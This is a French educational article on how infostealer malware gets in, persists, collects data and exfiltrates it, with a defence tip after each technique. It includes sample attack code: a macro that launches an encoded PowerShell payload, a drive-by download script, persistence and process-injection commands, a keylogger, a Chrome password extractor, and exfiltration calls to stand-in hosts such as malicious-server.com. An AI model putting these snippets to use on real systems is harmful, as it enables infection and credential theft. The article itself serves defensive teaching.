🚨 Infostealers : Détails Techniques des Attaques et Défenses 🚨

1. Le Vecteur d'Attaque Initial : Comment l'infostealer pénètre-t-il dans le système ?

Pour installer un infostealer, les hackers utilisent généralement des vecteurs d'attaque bien connus, mais parfois extrêmement sophistiqués. Voici les méthodes principales :

• Phishing :
  • **Mécanisme :** Un e-mail frauduleux avec une pièce jointe malveillante (.docx, .pdf, .exe) ou un lien piégé. L'utilisateur est incité à télécharger le fichier ou à visiter un site infecté, déclenchant l'exécution du malware.
  • Exemple : Utilisation de macros dans un document Microsoft Word pour télécharger l’infostealer. Exemple de code malveillant dans un document Word :

  
  Sub AutoOpen()
      Dim Str As String
      Str = "powershell -w hidden -enc [payload_base64]"
      Shell Str, vbHide
  End Sub
                      

  • Protection : Désactivez les macros dans les environnements non sécurisés et configurez des filtres anti-phishing.
• Drive-by Download :
  • **Mécanisme :** Lorsque l’utilisateur visite un site compromis, un script injecté dans la page Web télécharge l'infostealer sans l'intervention de l’utilisateur.
  • Exemple : Utilisation de **JavaScript malveillant** dans un site compromis pour déclencher un téléchargement furtif :

  
  <script>
      var downloadUrl = "http://malicious-site.com/infostealer.exe";
      var iframe = document.createElement('iframe');
      iframe.style.display = 'none';
      iframe.src = downloadUrl;
      document.body.appendChild(iframe);
  </script>
                      

  • Protection : Utiliser des solutions de sécurité de type **sandboxing** pour inspecter les contenus avant de les charger.
• Exploitation de vulnérabilités (Zero-Day) :
  • **Mécanisme :** Les infostealers peuvent exploiter des failles dans les logiciels non mis à jour, notamment via des failles dans les navigateurs ou des plugins comme Flash ou Java.
  • Exemple : **CVE-2021-34527** (PrintNightmare) permettait à un attaquant d’exécuter du code à distance sur des systèmes non patchés.
  • Protection : Appliquez systématiquement les **mises à jour de sécurité** et désactivez les services non utilisés.

2. Persistance : Comment les infostealers restent-ils discrets sur le système ?

Une fois installé, l'infostealer doit rester indétecté pour voler des informations aussi longtemps que possible. Les techniques de persistance sont variées :

• Modification du Registre (Windows) :
  • **Mécanisme :** L'infostealer crée une clé dans le registre Windows pour s’exécuter au démarrage du système.
  • Exemple : Ajouter une entrée de persistance dans le registre avec PowerShell :

  
  Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Updater" -Value "C:\ProgramData\malware.exe"
                      

  • Protection : Surveillez les clés **Run** et **RunOnce** dans le registre et configurez des solutions d’**EDR (Endpoint Detection and Response)** pour détecter ces changements.
• Scheduled Tasks (Tâches planifiées) :
  • **Mécanisme :** L'infostealer utilise les tâches planifiées pour s'exécuter régulièrement.
  • Exemple : Créer une tâche planifiée via la commande **schtasks** :

  
  schtasks /create /tn "Updater" /tr "C:\ProgramData\malware.exe" /sc minute /mo 5
                      

  • Protection : Surveillez les tâches planifiées à l’aide de **sysinternals** et configurez des solutions SIEM pour détecter les anomalies dans les tâches système.
• Injection dans des processus légitimes :
  • **Mécanisme :** L’infostealer s’injecte dans des processus légitimes comme **explorer.exe** ou **svchost.exe** pour dissimuler ses activités.
  • Exemple : Utilisation de l'API Windows pour injecter du code malveillant dans un processus légitime :

  
  HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
  LPVOID pRemoteCode = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(hProcess, pRemoteCode, shellcode, sizeof(shellcode), NULL);
  CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);
                      

  • Protection : Utiliser des solutions de protection des processus (PPL) et surveiller l’utilisation excessive des appels **WriteProcessMemory** et **CreateRemoteThread**.

3. La collecte et l'exfiltration des données : Comment les hackers volent vos informations ?

Une fois qu’un infostealer est en place, il se concentre sur la collecte de données sensibles avant de les exfiltrer discrètement vers les attaquants.

• Keylogging :
  • **Mécanisme :** L’infostealer capture chaque frappe sur le clavier pour voler des identifiants, des mots de passe et d'autres informations saisies par l'utilisateur.
  • Exemple : Capture des frappes avec un keylogger Python :

  
  import pynput.keyboard as keyboard
  
  def on_press(key):
      with open("keylog.txt", "a") as log_file:
          log_file.write(str(key) + "\n")
  
  listener = keyboard.Listener(on_press=on_press)
  listener.start()
  listener.join()
                      

  • Protection : Surveiller les fichiers créés dans des répertoires temporaires et utiliser des solutions **HIDS** (Host-based Intrusion Detection System) pour détecter ces comportements.
• Extraction de données des navigateurs :
  • **Mécanisme :** L’infostealer accède aux bases de données des navigateurs contenant des mots de passe, des cookies de session, et des données d'auto-complétion.
  • Exemple : Extraction des mots de passe de Chrome avec Python :

  
  import sqlite3
  import win32crypt
  from os import path
  
  def get_chrome_passwords():
      db_path = path.expanduser("~") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
      conn = sqlite3.connect(db_path)
      cursor = conn.cursor()
      cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
      for row in cursor.fetchall():
          password = win32crypt.CryptUnprotectData(row[2])[1]
          print(f"URL: {row[0]}, Username: {row[1]}, Password: {password}")
  
  get_chrome_passwords()
                      

  • Protection : Crypter les bases de données des navigateurs avec un mot de passe principal et surveiller les accès non autorisés aux fichiers de configuration du navigateur.
• Capture de screenshots :
  • **Mécanisme :** Le malware prend des captures d'écran lorsque l'utilisateur accède à des pages critiques (comme des services bancaires).
  • Exemple : Capture d'écran avec Python :

  
  import pyautogui
  screenshot = pyautogui.screenshot()
  screenshot.save("screenshot.png")
                      

  • Protection : Utiliser des solutions de **whitelisting** pour restreindre l'accès aux applications capables de prendre des captures d'écran.

4. Exfiltration des données volées : Comment les informations sont-elles envoyées aux hackers ?

Une fois les informations collectées, l'infostealer doit envoyer ces données à un serveur contrôlé par les attaquants. Voici les méthodes couramment utilisées :

• Utilisation de HTTP/HTTPS :
  • **Mécanisme :** Les données volées sont envoyées via des requêtes HTTP ou HTTPS à un serveur distant.
  • Exemple : Envoi des données via une requête POST en Python :

  
  import requests
  
  data = {"username": "victim", "password": "password123"}
  response = requests.post("http://malicious-server.com/exfil", data=data)
                      

  • Protection : Surveiller les communications sortantes avec un **IDS/IPS** (Système de Détection/Prévention d'Intrusion) et inspecter le trafic HTTPS.
• Command and Control (C2) :
  • **Mécanisme :** L'infostealer communique avec un serveur de Command and Control pour transmettre les données ou recevoir des commandes.
  • Exemple : Communication avec un serveur C2 via socket :

  
  import socket
  
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect(("malicious-server.com", 1337))
  s.sendall(b"exfiltrated_data")
                      

  • Protection : Utilisez des outils de **Threat Intelligence** pour bloquer les communications avec des serveurs C2 connus.

5. Évasion des systèmes de détection : Comment l'infostealer évite-t-il d'être repéré ?

Les hackers utilisent des techniques avancées pour éviter que l'infostealer soit détecté par les antivirus ou les systèmes de surveillance réseau. Voici quelques-unes de ces techniques :

• Chiffrement des communications : L’infostealer chiffre les données exfiltrées avant de les envoyer au serveur C2, rendant difficile la détection par les systèmes de surveillance réseau.
• Compression ou obfuscation du code : Le code malveillant est compressé ou obfusqué pour éviter qu'il ne soit analysé facilement par les antivirus.
• Exécution retardée : L’infostealer peut attendre un certain temps ou une action spécifique avant de s'exécuter, ce qui lui permet d'échapper aux systèmes de détection basés sur l'analyse comportementale.

6. Conseils Techniques pour se Protéger des Infostealers

• **Surveillance du réseau** : Utilisez des solutions comme **Zeek** ou **Wireshark** pour surveiller et analyser le trafic réseau à la recherche d'activités suspectes.
• **Analyse des fichiers système** : Surveillez les répertoires temporaires, les clés de registre et les tâches planifiées avec des outils comme **Sysinternals** pour détecter les anomalies.
• **Threat Hunting** : Implémentez des stratégies de **threat hunting** avec des outils comme **OSQuery** pour traquer les comportements inhabituels sur vos systèmes.

Conclusion

Les infostealers sont une menace grandissante, mais en comprenant leurs mécanismes et en adoptant une approche proactive de la sécurité, vous pouvez réduire significativement les risques d'infection. Restez vigilant, utilisez des outils de surveillance avancés et formez vos équipes aux meilleures pratiques de sécurité.